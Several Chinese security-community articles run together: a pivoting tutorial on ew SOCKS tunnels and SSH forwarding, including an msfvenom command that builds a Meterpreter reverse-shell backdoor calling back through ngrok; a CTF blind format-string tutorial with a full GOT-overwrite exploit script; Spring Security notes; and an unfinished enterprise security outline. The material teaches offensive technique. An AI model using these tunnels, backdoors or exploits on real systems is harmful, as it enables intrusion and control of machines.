#### 0x04.2 ew 穿透
该工具借用了 ssocks 和 lcx.exe 的操作逻辑，并进行更多的功能强化。
说明
目前工具提供六种链路状态，可通过 -s 参数进行选定，分别为:
ssocksd rcsocks rssocks
lcx_slave lcx_tran lcx_listen
其中 SOCKS5 服务的核心逻辑支持由 ssocksd 和 rssocks 提供，分别对应正向与反向socks代理。
其余的 lcx 链路状态用于打通测试主机同 socks 服务器之间的通路。
lcx 类别管道：
lcx_slave 该管道一侧通过反弹方式连接代理请求方，另一侧连接代理提供主机。
lcx_tran 该管道，通过监听本地端口接收代理请求，并转交给代理提供主机。
lcx_listen 该管道，通过监听本地端口接收数据，并将其转交给目标网络回连的代理提供主机。
通过组合lcx类别管道的特性，可以实现多层内网环境下的渗透测试。
下面是一个三级跳的本地测试例子。。。
./ew -s rcsocks -l 1080 -e 8888
./ew -s lcx_slave -d 127.0.0.1 -e 8888 -f 127.0.0.1 -g 9999
./ew -s lcx_listen -l 9999 -e 7777
./ew -s rssocks -d 127.0.0.1 -e 7777
数据流向为 IE -> 1080 -> 8888 -> 9999 -> 7777 -> rssocks
##### 0x04.2.1 正向 SOCKS5 服务器
当目标网络边界存在公网 IP 且可任意开监听端口
ew_for_Win.exe -s ssocksd -l 8888
上述命令是在该机器（192.168.153.140）开启一个 8888 的正向连接端口。然后其它主机可通过设置代理为
192.168.153.140:8888 添加这个代理。这里使用的是 proxychains
#### 0x04.2.2 反弹 SOCKS5 服务器
当目标网络边界不存在公网 IP，通过反弹方式创建 socks 代理。
先在一台具有公网 ip 的主机 A 上运行以下命令
./ew_for_linux64 -s rcsocks -l 1080 -e 8888
意思是在我们公网 VPS 上添加一个转接隧道，把 1080 端口收到的代理请求转交给 8888 端口
在目标主机 B 上启动 SOCKS5 服务 并反弹到公网主机的 8888 端口
ew_for_Win.exe -s rssocks -d 192.168.153.129 -e 8888
本地主机（192.168.153.129）然后通过添加公网 192.168.153.129:1080 这个代理,
来访问内网机器（192.168.153.129）
当然如果本地主机如果是公网 ip，就可以把在公网执行的步骤放在本地执行即可。
#### 0x04.2.3 二级网络环境（一）
假设我们获得了右侧 A 主机和 B 主机的控制权限，A 主机配有 2 块网卡，一块 10.129.72.168 连通外网，一块
192.168.153.140 只能连接内网 B 主机，无法访问内网其它资源。B 主机可以访问内网资源，但无法访问外网。
先上传 ew 到 B 主机，利用 ssocksd 方式启动 8888 端口的 SOCKS 代理，命令如下
ew_for_Win.exe -s ssocksd -l 8888
然后在 A 主机执行
ew_for_Win.exe -s lcx_tran -l 1080 -f 192.168.153.138 -g 8888
含义是将 1080 端口收到的代理请求转交给 B 主机（192.168.153.138）的 8888 端口
然后 My pc 就可以通过 A 的外网代理 10.129.72.168:1080 访问 B。
#### 0x04.2.4 二级网络环境（二）
假设我们获得了右侧 A 主机和 B 主机的控制权限，A 主机没有公网 IP，也无法访问内网资源。B 主机可以访问内网资源，但无法访问外网。
这次操作有四步。
1. 在公网 vps（45.xxx.xxx.72）添加转接隧道，将 10800 端口收到的代理请求转交给 8888 端口
./ew_for_linux64 -s lcx_listen -l 10800 -e 8888
2.B（192.168.153.138）主机正向开启 8888 端口
ew_for_Win.exe -s ssocksd -l 9999
3.A 主机利用 lcx_slave 方式，将公网 VPS 的 888 端口和 B 主机的 999 端口连接起来
ew_for_Win.exe -s lcx_slave -d 45.xxx.xxx.72 -e 8888 -f 192.168.153.138 -g 9999
现在 my pc 可通过访问 45.xxx.xxx.72:10800 来使用 192.168.153.138 主机提供的 socks5
代理，代理成功，vps 会有 rssocks cmd_socket OK! 提示
### 0x05 ssh 隧道代理转发
ssh 有三个强大的端口转发命令，分别是本地转发、远程转发、动态转发。
本地访问127.0.0.1:port1就是host:port2(用的更多)
ssh -CfNg -L port1:127.0.0.1:port2 user@host #本地转发
访问host:port2就是访问127.0.0.1:port1
ssh -CfNg -R port2:127.0.0.1:port1 user@host #远程转发
可以将dmz_host的hostport端口通过remote_ip转发到本地的port端口
ssh -qTfnN -L port:dmz_host:hostport -l user remote_ip #正向隧道，监听本地port
可以将dmz_host的hostport端口转发到remote_ip的port端口
ssh -qTfnN -R port:dmz_host:hostport -l user remote_ip #反向隧道，用于内网穿透防火墙限制之类
socket代理:
ssh -qTfnN -D port remotehost
参数详解：
-q Quiet mode. 安静模式
-T Disable pseudo-tty allocation. 不占用 shell 了
-f Requests ssh to go to background just before command execution. 后台运行，并推荐加上 -n 参数
-N Do not execute a remote command. 不执行远程命令，端口转发就用它了
-L port:host:hostport
将本地机(客户机)的某个端口转发到远端指定机器的指定端口. 工作原理是这样的, 本地机器上分配了一个 socket 侦听 port 端口, 一旦这个端口上有了连接, 该连接就经过安全通道转发出去, 同时远程主机和 host 的 hostport 端口建立连接. 可以在配置文件中指定端口的转发. 只有 root 才能转发特权端口. IPv6 地址用另一种格式说明: port/host/hostport
-R port:host:hostport
将远程主机(服务器)的某个端口转发到本地端指定机器的指定端口. 工作原理是这样的, 远程主机上分配了一个 socket 侦听 port 端口, 一旦这个端口上有了连接, 该连接就经过安全通道转向出去, 同时本地主机和 host 的 hostport 端口建立连接. 可以在配置文件中指定端口的转发. 只有用 root 登录远程主机才能转发特权端口. IPv6 地址用另一种格式说明: port/host/hostport
-D port
指定一个本地机器 “动态的’’ 应用程序端口转发. 工作原理是这样的, 本地机器上分配了一个 socket 侦听 port 端口, 一旦这个端口上有了连接, 该连接就经过安全通道转发出去, 根据应用程序的协议可以判断出远程主机将和哪里连接. 目前支持 SOCKS协议, 将充当SOCKS服务器. 只有 root 才能转发特权端口. 可以在配置文件中指定动态端口的转发.
#### 0x05.1 ssh 本地转发
远程管理服务器上的 mysql，mysql 不能直接 root 远程登陆。这时候就可以通过本地转发，通过 ssh 将服务器的 3306 端口转发到本地
1234 端口
ssh -CfNg -L 1234 127.0.0.1:3306 [email protected]
#### 0x05.2 ssh 远程转发
内网的服务器，外网不能直接访问，使用远程转发，将内网的服务器端口转发到外网端口。这时候访问外网的端口，就访问到了内网的端口。
ssh -CfNg -R 81:127.0.0.1:80 [email protected]
现在在 192.168.153.142 访问 127.0.0.1:81 就是访问内网的服务器的 80 端口。
#### 0x05.2 ssh 动态转发 socks 代理
把远程主机设置成代理，来代理访问不能访问的资源。在地机器上分配了一个监听端口, 一旦这个端口上有了连接, 该连接就经过 ssh 隧道转发出去,
根据应用程序的协议可以判断出远程主机将和哪里连接。
ssh -qTfnN -D 1080 [email protected]
### 0x06 内网穿透平台
例如 <https://www.ngrok.cc/、https://natapp.cn> / 等
以 ngrok 为例，注册并开通隧道
下载对应的客户端，下载地址为：<https://www.ngrok.cc/#down-client> 。
运行
生成 backdoor。监听的 IP 为 server.ngrok.cc 的 ip，端口为开通隧道时填写的远程端口
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=47.90.92.56 LPORT=52524 -f exe > shell.exe
kali 上执行
### 0x07 参考
1. [SSH 隧道与端口转发及内网穿透](http://blog.creke.net/722.html)
2. [SSH 的端口转发](http://blog.csdn.net/xyyangkun/article/details/7025854)
3. [内网渗透随想](http://wooyun.jozxing.cc/static/drops/tips-5234.html)
4. [从零开始内网渗透学习](https://github.com/l3m0n/pentest_study)
5. [内网渗透中转发工具总结](http://wooyun.jozxing.cc/static/drops/tools-15000.html)
6. [MS17-010 漏洞检测与内网穿透技术的应用](http://fuping.site/2017/04/21/MS17-010-Vulnerability-Detection-And-Ngrok/)
7. [内网漫游之 SOCKS 代理大结局](http://bobao.360.cn/learning/detail/3502.html)
8. [正向代理和反向代理的区别](https://zhuanlan.zhihu.com/p/25423394) | 社区文章 |
# 【CTF攻略】格式化字符串blind pwn详细教程
|
##### 译文声明
本文是翻译文章，文章来源：安全客
译文仅供参考，具体内容表达以及含义原文为准。
**
**
作者：[4SUN4_C8](http://bobao.360.cn/member/contribute?uid=2846431172)
预估稿费：400RMB
投稿方式：发送邮件至[linwei#360.cn](mailto:[email protected])，或登陆[网页版](http://bobao.360.cn/contribute/index)在线投稿
**
**
**前言**
CTF中最近几年出现了一种比较新类型的题目，blind
pwn，这种pwn不给你提供二进制程序，只是提供一个ip和port，其中有一种就是利用格式化字符串你漏洞的blind
pwn，是通过格式化字符串漏洞的任意读和任意写功能通过使其泄露信息从而实现目的。在学习这种格式化字符串的blind
pwn时，由于对格式化字符串漏洞不太熟悉，因此遇到了很多坑，所以打算写一个通俗易懂的教程，有做的麻烦之处请大佬们指出。
下面来介绍一种最基础的blind pwn，也就是格式化字符串的，程序是32位的elf，环境是ubuntu_1604_x64。
**基础知识**
格式化字符串的漏洞在网上有很多教程，在这里我简要提一点这个教程中用到的关键技术。
以下的N需要代换成10进制的整数，而且大小是有限制的。
%N$p：以16进制的格式输出位于printf第N个参数位置的值；
%N$s：以printf第N个参数位置的值为地址，输出这个地址指向的字符串的内容；
%N$n：以printf第N个参数位置的值为地址，将输出过的字符数量的值写入这个地址中，对于32位elf而言，%n是写入4个字节，%hn是写入2个字节，%hhn是写入一个字节；
%Nc：输出N个字符，这个可以配合%N$n使用，达到任意地址任意值写入的目的。
**题目示例**
泄露栈信息
运行泄露脚本的程序输出：
为了加深理解，我也放上了对程序使用gdb实际调试时的栈情景，breakpoint断在了main函数中call printf的指令上：
两个信息相对照可以看到一些很有意思的东西，其中最有用的是注意到gdb的调试信息中的位于0236与0260的两个0x8048420(_start)，这个其实在每个elf加载时都是类似的，可以作为一个通过栈泄露的信息确定.text代码段基址的一个特征，因此，可以从泄露的输出信息中获取到这个.text的代码段基址。
dump .text段：
从泄露的栈信息中，我们还可以发现别的东西，比如说我们输入的字符串在栈中的偏移（调用printf时的栈），可以看到在偏移为24和28的地方其实是我们输入的字符串“%d$p.TMP”，因此我们可以确定这里的字符串的偏移为6（也就是%N$中N的值），每增加4个字节的字符串，N就加1（因为是32位的elf程序）：
这里提一下，32位的elf和64位的elf在确定偏移的N的时候还是有差别的，原因在于64位下的调用约定与32位下不同，对于printf，32位下默认全部参数通过栈来传递，而64位下参数首先通过RDI，RSI，RDX，RCX，R8，R9这6个寄存器传递，然后再通过栈传递，因此确定的时候需要稍微注意一下，如果一个参数在rsp的位置，那么N实际上是7而不是0（32位下是0）。
有了偏移之后，可以使用“%N$s”来写leak函数了：
到了这一步，使用DynELF应该就可以做了，但是我在实际操作的过程中总是遇到或多或少的问题，导致DynELF并没有成功过……因此只能学习另外一种麻烦但是更基础的方法来做。
所以根据获取到的.text段的基址，可以把.text段dump下来，从而直接从二进制程序入手获得相关的信息，以下是进行dump的脚本。
在进行dump的过程中实际上是需要注意一些内容的，原因是%s进行输出时实际上是x00截断的，但是.text段中不可避免会出现x00，但是我们注意到还有一个特性，如果对一个x00的地址进行leak，返回是没有结果的，因此如果返回没有结果，我们就可以确定这个地址的值为x00，所以可以设置为x00然后将地址加1进行dump。
Dump过程：
最后写到文件中，把这个文件用ida打开即可。
可以看到，刚打开时是这个样子的：
由于我们知道.text的段基址是0x08048420，因此对段基址rebase一下：
如果对_start函数有些了解的话，可以知道在这里红色的0x80483F0实际上是__libc_start_main，而0x804851B实际上就是main函数的地址。
到达main函数的地址，发现这个函数非常好看，那些标红的地址是因为我们没有dump这些地方的内存，但是其实是非常有用处的：
F5一下，根据这个二进制的行为，可以很容易地推断出对应的函数在plt表中的地址：
也就是：
read@plt:0x80483D0
printf@plt:0x80483E0
putchar@plt:0x8048400
我们结合源程序看一下这个地址中存储的内容：
实际上就是跳转到got表中相应表项中的值，而且最关键的，我们可以通过这个地址中的内容获取到got表相应表项的地址。
对于read，那么FF 25 10 A0 04
08这条指令中跳转到的got表地址就是0x0804A010，也就是说read的got表项的地址就是0x0804A010。
有了got表的地址，对于没有开FULL RELRO的程序，我们就可以通过覆盖got表来劫持控制流了。
**覆盖got表获得shell**
对于上面的思路，覆盖got表并获取shell的流程是（以覆盖printf的got表为例）：
a) 确定printf的plt地址
b) 通过泄露plt表中的指令内容确定对应的got表地址
c) 通过泄露的got表地址泄露printf函数的地址
d) 通过泄露的printf的函数地址确定libc基址，从而获得system地址
e) 使用格式化字符串的任意写功能将printf的got表中的地址修改为system的地址
f)
send字符串“/bin/sh;”，那么在调用printf(“/bin/sh;”)的时候实际上调用的是system(“/bin/sh;”)，从而成功获取shell
上面的代码就是步骤a-f的一个翻译，需要注意的是实际上不是一步完成的，应该是首先泄露printf的地址，然后通过这个地址使用libc-database进行查询，然后确定相关的差异值：
然后是对got表内容的修改：
这个payload的意思就是前32个字节是格式化字符串的内容。
由于system_addr与printf_addr实际上只有最高字节不同，所以只覆盖3个字节即可，这里用到的就是%hhn(写入一个字节)以及%hn（写入两个字节），所以我们对printf_got_plt_addr写入一个字节，对printf_got_plt_addr+1写入2个字节就可以完美修改printf的got表中的地址实际上是system的地址。
至于格式化字符串中的两个偏移分别为%14$与%15$，是因为32Bytes=4Bytes*8，而字符串在栈中的偏移开始为6，因此第一个地址printf_got_plt_addr的偏移实际上是6+8=14，而第二个地址printf_got_plt_addr+1的偏移是6+8+1=15。
**最终的执行结果**
从而完美获得了shell。
**参考链接**
<http://bruce30262.logdown.com/posts/1255979-33c3-ctf-2016-espr>
**附录**
**blind_pwn_printf.c**
#include <stdio.h>
#include <unistd.h>
int main()
{
setbuf(stdin, 0LL);
setbuf(stdout, 0LL);
setbuf(stderr, 0LL);
char buf[100];
while (1)
{
read(STDIN_FILENO, buf, 100);
printf(buf);
putchar('n');
}
return 0;
}
**blind_pwn.py**
from pwn import *
import time
import binascii
context.log_level = 'INFO'
exe = 'blind_pwn_printf'
r = process(exe)
# # dump stack
# for i in range(100):
# payload = '%%%d$p.TMP' % (i)
# r.sendline(payload)
# val = r.recvuntil('.TMP')
# print i*4, val.strip().ljust(10)
# r.recvrepeat(0.2)
def leak(addr):
payload = "%8$s.TMP" + p32(addr)
r.sendline(payload)
print "leaking:", hex(addr)
resp = r.recvuntil(".TMP")
ret = resp[:-4:]
print "ret:", binascii.hexlify(ret), len(ret)
remain = r.recvrepeat(0.2)
return ret
# # failed try
# d = DynELF(leak, 0x8048420)
# # dynamic_ptr = d.dynamic
# system_addr = d.lookup('system', 'libc')
# printf_addr = d.lookup('printf', 'libc')
# # dump .text segmentation
# start_addr = 0x8048420
# # leak(start_addr)
# text_seg = ''
# try:
# while True:
# ret = leak(start_addr)
# text_seg += ret
# start_addr += len(ret)
# if len(ret) == 0:
# start_addr += 1
# text_seg += 'x00'
# except Exception as e:
# print e
# finally:
# print '[+]', len(text_seg)
# with open('dump_bin', 'wb') as fout:
# fout.write(text_seg)
log.success('leaking printf_plt_code')
printf_plt_addr = 0x80483E0
printf_plt_code = leak(printf_plt_addr)
printf_got_plt_addr = u32(printf_plt_code[2:6])
log.success('printf_got_plt_addr: %08x' % (printf_got_plt_addr))
log.success('leaking printf_addr')
printf_addr = u32(leak(printf_got_plt_addr)[:4])
log.success('printf_addr: %08x' % (printf_addr))
libc_addr = printf_addr - 0x00049670
system_addr = libc_addr + 0x0003ada0
log.success('system_addr: %08x' % (system_addr))
log.success('test write...')
byte1 = system_addr & 0xff
byte2 = (system_addr & 0xffff00) >> 8
payload = '%' + str(byte1) + 'c' + '%14$hhn'
payload += '%' + str(byte2 - byte1) + 'c' +'%15$hn'
payload = payload.ljust(32, 'A')
print payload
print len(payload)
payload += p32(printf_got_plt_addr) + p32(printf_got_plt_addr + 1)
r.sendline(payload)
r.interactive() | 社区文章 |
# Spring Security学习笔记（一）基础介绍I
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
作者：Dayeh@小米安全中心 首席音乐家
## Spring Security 5.1.4 RELEASE
对于使用Java进行开发的同学来说，Spring算是一个比较热门的选择，包括现在流行的Spring
Boot更是能快速上手，并让开发者更好的关注业务核心的开发，而免去了原来冗杂的配置过程。从Spring
4开始推荐使用代码进行配置，更是降低了配置的难度，远离了让人看得头大的xml配置文件。
这篇文章主要想系统的介绍一下Spring Security这个框架。当需要进行一些认证授权的开发时，常用的Java安全框架主要有Apache
Shiro和Spring Security。两者相比，Shiro更为轻量化，简单易用，而Spring
Security作为Spring的亲儿子，功能更强大，和Spring项目的结合度更好，而使用的学习成本相较于Shiro会略高一些。
在讲代码之前，想先介绍一下Spring
Security中的一些基本组件及服务，以便于更好理解后文的代码。基本架构的介绍，主要来自于官方文档，进行了选择性的翻译，参考的版本是Spring
Security 5.1.4 RELEASE，感兴趣的同学也可以直接前往阅读英文原文。
## 1 基本架构
### 1.1 核心组件
从Spring Security 3.0开始，组件spring-security-corejar包中的内容进行了精简，不再包含任何web应用安全，LDAP或命名空间配置的代码。
**SecurityContextHolder**
最基本的对象，用来存储当前的安全上下文（security
context），包含了当前登录的用户信息。默认使用ThreadLocal保存细节信息，因此这些信息对于同一个线程内容调用的方法都是可用的。当用户的请求处理完成后，框架会自动清理线程而不必用户关心。但是由于某些应用由于其对线程的使用方式，并不适合使用ThreadLocal，则需要根据情况，在启动前设置SecurityContextHolder的策略。
在SecurityContextHolder中保存了当前活跃用户的信息。Spring
Security使用一个Authentication对象来表示这些信息。在程序的任何地方，都可以用以下代码来获取当前认证用户的信息。
Object principal = SecurityContextHolder.getContext().getAuthentication().getPrincipal();
if (principal instanceof UserDetails) {
String username = ((UserDetails)principal).getUsername();
} else {
String username = principal.toString();
}
**UserDetailsService**
在接口UserDetailService中只有一个方法，接收一个字符串返回一个UserDetails对象，当认证成功后，UserDetails会被用来构造一个Authentication对象保存在SecurityContextHolder中。
UserDetails loadUserByUsername(String username) throws UsernameNotFoundException;
UserDetailsService的实现，主要是用来加载用户信息，并向其他组件提供这些信息，并不能进行认证用户的操作，认证的操作由AuthenticationManager完成。
如果用户想自定义一个认证流程，则需要实现AuthenticationProvider接口。
**GrantedAuthority**
Authentication的getAuthorities(
)方法返回GrantedAuthority的对象数组。GrantAuthority对象一般由UserDetailsService加载。
**总结**
ScurityContextHolder获取SecurityContext
SecurityContext保存了Authentication以及其他一些请求相关的安全信息
Authentication表示一个认证用户信息
GrantedAuthority表示授予用户的权限信息
UserDetails包含了构建Authentication对象需要的必要信息，这些信息来自于应用的DAO或其他数据源
UserDetailsService根据传入用户名字符串构建一个UserDetails对象
### 1.2 认证环节
一个基本的认证环节包括：
1. 用户输入用户名和密码
2. 系统验证用户名密码正确
3. 系统获取该用户的角色、权限等信息。
以上三个步骤完成了一个认证过程，在Spring Security中，相应地完成了以下动作：
1. 后端获取到用户名和密码并用之生成一个UsernamePasswordAuthenticationToken对象，UsernamePasswordAuthenticationToken是Authentication的一个实现类。
2. token被传入AuthenticationManager的实例中进行校验
3. 认证成功后，AuthenticationManager会返回一个Authentication实例，其中包括了用户所有细节信息，包括角色、权限等
4. 通过调用SecurityContextHolder.getContext().setAuthentication(…)建立安全上下文，传入Authentication对象
完成以上过程后，当前用户认证完成。以下代码示范了一个认证环节最基本的流程（并非SpringSecurity框架源码）
import org.springframework.security.authentication.*;
import org.springframework.security.core.*;
import org.springframework.security.core.authority.SimpleGrantedAuthority;
import org.springframework.security.core.context.SecurityContextHolder;
public class AuthenticationExample {
// 0. 创建一个AuthenticationManager实例，之后用于用户校验 (具体实现在下方)
private static AuthenticationManager am = new SampleAuthenticationManager();
public static void main(String[] args) throws Exception {
BufferedReader in = new BufferedReader(new InputStreamReader(System.in));
// 1. 用户在界面输入用户名密码
while(true) {
System.out.println("Please enter your username:");
String name = in.readLine();
System.out.println("Please enter your password:");
String password = in.readLine();
try {
// 2. 用户名和密码生成一个UsernamePasswordAuthenticationToken对象
Authentication request = new UsernamePasswordAuthenticationToken(name, password);
// 3. 使用AuthenticationManager实例校验token
Authentication result = am.authenticate(request);
// 4. 校验成功，将包含用户信息的Authentication实例加入security context
SecurityContextHolder.getContext().setAuthentication(result);
break;
} catch(AuthenticationException e) {
// 认证失败，捕获异常
System.out.println("Authentication failed: " + e.getMessage());
}
}
System.out.println("Successfully authenticated. Security context contains: " +
SecurityContextHolder.getContext().getAuthentication());
}
}
// AuthenticationManager的实现
class SampleAuthenticationManager implements AuthenticationManager {
static final List<GrantedAuthority> AUTHORITIES = new ArrayList<GrantedAuthority>();
static {
AUTHORITIES.add(new SimpleGrantedAuthority("ROLE_USER"));
}
public Authentication authenticate(Authentication auth) throws AuthenticationException {
//该方法内写认证通过的条件，此处demo判断条件是，用户名等于密码即认证通过
if (auth.getName().equals(auth.getCredentials())) {
return new UsernamePasswordAuthenticationToken(auth.getName(),
auth.getCredentials(), AUTHORITIES);
}
throw new BadCredentialsException("Bad Credentials");
}
}
**直接设置SecurityContextHolder**
Spring
Security并不关心一个Authentication实例是如何放进SecurityContextHolder的，只要保证在SecurityContextHolder中有一个有效的Authentication表示一个认证的用户即可，然后AbstractSecurityInterceptor便可用来授权用户的操作了。因此，开发者亦可选择使用其他认证框架提供的认证信息。开发者只需要写使用一个过滤器获取来自第三方的用户信息，然后构造一个Authentication对象放入到SecurityContextHolder即可。但是如果不使用内置的认证，有些原本自动完成的事情就需要由开发者来处理了，比如需要在一开始创建HTTP
session来缓存上下文。
### 1.3 Web应用中的认证
在处理Web应用中的认证，Spring
Security中主要参与的有ExceptionTranslationFilter和AuthenticationEntryPoint，以及一个认证机制，用来调用AuthenticationManager完成核心的认证部分。
**ExceptionTranslationFilter**
是一个Spring Security的过滤器，用来检测所有抛出的Spring
Security的异常，通常这些异常都由AbstractSecurityInterceptor抛出。AbstractSecurityInterceptor只负责抛出异常，而ExceptionTranslationFilter则负责确定如何处理异常，比如当前用户认证了但权限不够，则返回403错误码，或者当前用户还未认证，则发起一个AuthenticationPoint。
**Authentication Mechanism**
当浏览器提交用户的认证信息后，服务器需要收集这些信息，而在Spring Security中，从客户端获取认证信息的功能称为“认证机制”
(authentication mechanism)。比如Basic
authentication，当收集到客户端提交的认证信息后，后端就会创建一个Authentication对象，然后交给AuthenticationManager校验。
随后authentication
mechanism会收到一个包含完整信息的Authentication对象，并认为请求合法，然后把Authentication放入SecurityContextHolder，随后原请求便会发起重试。如果AuthenticationManager拒绝了请求，那么认证机制便会要求客户端重试。
**保存用户认证信息**
一般在一个Web应用中，用户登录后，服务器会缓存用户的认证信息，用户后续的操作通过其session id进行身份认证。Spring
Security框架中，保存SecurityContext的任务交给SecurityContextPersistenceFilter，其默认将安全上下文信息保存为HttpSessio属性。每当请求来，它都会通过SecurityContextHolder来获取认证信息，并在请求结束后，清除SecurityContextHolder。出于安全考虑，不要直接从HttpSession中去获取安全上下文，而应该通过SecurityContextHolder获取。
### 1.4 权限控制（授权）
Spring Security的权限控制，依赖于AOP。权限控制可以应用在方法调用上，也可用在web请求上。Spring
Security中主要负责进行权限控制决定的是AccessDecisionManager。
**Secure Objects**
安全对象指一切可以加上安全配置的对象，最常见的例子是方法的调用和web请求。
每个支持的安全对象都有一个自己的拦截器，这个拦截器是AbstractSecurityInterceptor子类，当AbstractSecurityInterceptor被调用的时候，SecurityContextHolder中会包含一个有效的Authentication对象，如果当前用户主体已经被认证。AbstractSecurityInterceptor在处理安全对象的请求时候，流程如下：
1. 查看和当前请求关联的配置属性(configuration attributes)
2. 将当前的安全对象、Authentication对象以及配置属性提交给AccessDecisionManager，由其做一个授权的决定。
3. 在调用发生的位置可选的更换Authentication对象
4. 完成授权后，允许安全对象的调用进行。
5. 当调用返回后，即刻调用AfterInvocationManager（如果配置了）
**Configuration Attributes**
配置属性用接口ConfigAttribute表示，可以理解为被AbstractSecurityInterceptor使用的具有特殊意义的字符串。AbsractSecurityInterceptor中配置了SecurityMetadataSource用来查看安全对象的配置属性。配置属性可以用来简单表示一个角色名，或者更复杂的意义，它的用处取决于AccessDecisionManager实现的复杂性。或者简单来说，配置属性只是表示特殊含义的，比如角色名的字符串，但是其具体如何解读，取决于AccessDedcisionManager的实现。举个简单得例子，当我们使用默认的AccessDedcisionManager的实现时，可以在一个方法或者一个url请求的注释里加入配置属性ROLE_A，这表示，只有当用户的GrantedAuthority匹配ROLE_A的时候，才被允许使用这个方法或调用这个请求。这里只做简单得说明，具体使用在后文中展开。
**Security interceptors and the “secure object” model**
下图是安全拦截器和安全对象的模型，给出了各个组件之间的关系，有个别组件在简介中没有提到，将在后文的使用说明中展开。 | 社区文章 |
# 企业安全建设大纲
|
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
一个大型企业的安全框架构造，从全栈来看，从客户端到我们的服务端，必然会经过如下的路径，客户端->运营商网络->cdn/waf->运营商网络->生产网/数据->办公网->内部员工，一个正常的环是这样的，按照如今的攻击方向来看，我们在每一个环细致分析会出现什么样的攻击，我们又应当如何去防御？
## 第一阶段
我们的第一个阶段可以分为，客户端->运营商网络->cdn->运营商网络这个阶段，那么这个阶段又会出现哪些威胁呢？
第一个威胁就是我们的客户端可能存在安全漏洞，我们可以先从自身减少漏洞率，再到尽量防止漏洞出现了最大程度的去规避防御掉漏洞
1.安全开发，那么一个合格的SDL安全审计需要哪些条件呢？我们可以参照谷歌的安全开发
（1）例如提供收藏一些典型的安全漏洞和框架，让我们的开发工程师在开发的时候可以刻意去避免，比如像java的spring
mvc框架，它历史出了哪些漏洞，我们开发的时候又需要如何去避免.
（2）Code Review、双人审批，毕竟每一个程序员的思维都是不一样的
（3）人工代码审计，符合自身业务的WEB漏洞扫描
2.安全止损，当我们自身的安全开发的流程走了一遍，企业自身的安全人员认为没有漏洞时，将产品业务推出，但是还是被蓝军或者恶意攻击团队通过非社工钓鱼的手法获取了权限，我们这个时候的当务之急就是阻止攻击团队进一步利用，并且及时清理掉属于他们的webshell
（1）权限，我们的业务起的权限不能太高，比如我们的业务是wordpress的框架，当它还没有被攻破的时候，攻击队的眼中就是wordpress的攻防，如果它被拿下了，就是Windows/Linux的终端攻防了，那么一个高权限和低权限在他们眼中是2中不同的模式
（2）关于容器，某些企业有些业务些许是物理机运行虚拟机，虚拟机在运行容器，攻击者一般是如何逃逸的，观察容器是什么镜像，该镜像是否有漏洞？使用的dokcer或者Kubernetes是否有端口暴露在外面，有权限修改配置文件，亦或者是劫持动态链接库以容器的身份执行命令以此来达到逃逸的效果，关于容器这方面，我们的企业红军需要做到以下几点，因为我们的容器镜像，几乎都可以在公共仓库中找到相应的Docker镜像，确认开源代码和文档中是否存在泄漏用户隐私,是否泄漏了秘钥、账号密码、测试IP地址、端口、是否包含挖矿程序、后门程序、病毒、木马等恶意代码，屏蔽掉我们的容器的一些关键信息，比如我们的.dockerenv文件是否需要rname一下，dokcer以及Kubernetes的默认端口是否需要更改一下，修改一下我们的container环境变量，不能让当前用户拥有修改配置的权限，不要为了图方便交换数据挂载物理机的磁盘，以及procfs，尽量减少容器的功能，别再容器里面整一个ssh服务，以及容器的网络，该加黑名单就加，没有防火墙保护，攻击者就可以利用主机内部网络进行容器间的ARP欺骗，当然，容器需要注意的地方还有很多，笔者第一能力有限，只能想到这么多，第二笔者不是主攻云安全/容器这方向
（3）WAF&&RASP，通过WAF过滤掉绝大多数恶意请求，在利用和程序融为一体的RASP过滤掉一些绕过WAF特征库的攻击甚至是一些0day，说人话就是WAF相当于人类的皮肤，RASP就相当于是我们体内的免疫系统。
第二个威胁就是我们现在比较流行的供应链攻击
1.恶意供应链
（1）由于一些竞争关系，我们采购的路由器，服务器是否可能成为别人进入我们办公网的跳板？或者是用的运营商网络流量是否被监听泄露？虽然这样说有点骇人听闻，但是对于业务比较大，以及国家的核心业务公司，这些都是我们应该值得考虑的
2.供应链攻击
（1）未知攻，焉知防，我们要防守住供应链就应该懂得供应链的攻击点会出现在哪里？第一点就是供应的产品，可能在某个社区开源，并且攻击者找到了开发团队仓库的密码，就能上传带有后门的产品，以及更新包，第二点就是依赖项混淆攻击，简单一点就是我们pip安装我们python所依赖的库，但是被依赖项混淆或命名空间混淆，我们安装过后就存在后门了，第三点就是社工，让产品团队的人无意构造我们想要的恶意代码，亦或者有意恶意接管代码。关于供应链方面，更大的方向点在于供应商，他们的产品开发维护人员的密码是否在开源社区泄露，历代产品的安全情况怎么样，补丁打的及时吗？自己社区项目的维护者安全意识怎么样，他是否被公司完全信任，以及是否正确配置制品库进行阻止依赖关系混淆的供应链攻击
第三个威胁就是我们的社工钓鱼
1通常钓鱼是视情况而定，一类是精准打击，一类是广撒网，愿者上钩，一类是供应链钓鱼，先说说精准打击，攻击者知道他的猎物，他们一般的手法是通过脉脉/boss直聘等招聘网站寻找公司的Hr，在将自己恶意的简历发过去，以及掉src运营的安全人员，因为是精准打击，他们的攻击样本肯定是这一段时间无法被杀软所探测到的，唯一能够预防的就是提高hr的安全意识，但是最重要的还是他们攻击者的话术，他们再发简历前会问自己的电脑是什么类型，MAC还是windows的，因为上线机制不同。还有就是发错了，可能上线需要前面的那个文件作为支柱，面试还是挺重要的发错了我们的hr还是需要注意，还有就是作为攻击者，重心不会放在面试上，就是希望猎物早点点了，很少会去主动约时间面试，真正关心bu是什么样的，这几类咱们的hr都需要额外注意，以及各种情况，什么简历字看不清楚要你开启宏，当然，我举得这个例子只是攻击者管用的手法之一，预防精准打击的最核心的一点就是识别他们的话术，还有类似的商务合作，技术交流，钓鱼网站让你填账号密码。广撒网其实成功率不怎么高，因为不可能把自己最得意的免杀demo撒出去，再加上现在都有类似的邮件防火墙，当然邮件只是一种情况。至于供应链钓鱼，如果要说最好的防御策略那就是咱自产自销，用的东西都得是自己签名的.
第四个威胁就是业务安全
1.用户
（1）账号安全，我们的客户会不会存在被盗号，客户账户是否存在各种越权，这个配合企业自身的SDL以及SRC，这2者相辅相成
2.企业，因为笔者最主要的方向是web攻防，所以这里暂不做没有技术含量的品评分析，但是还是的提一嘴
（1）流量安全，包括ddos，恶意刷单，各类羊毛党，爬虫等
（2）内容安全，内容是否有擦边的嫌疑
（3）黑灰产，打着一模一样的APP名称钓鱼，企业的花经历和时间去对付黑灰产，pc端/Android/ios
## 第二阶段
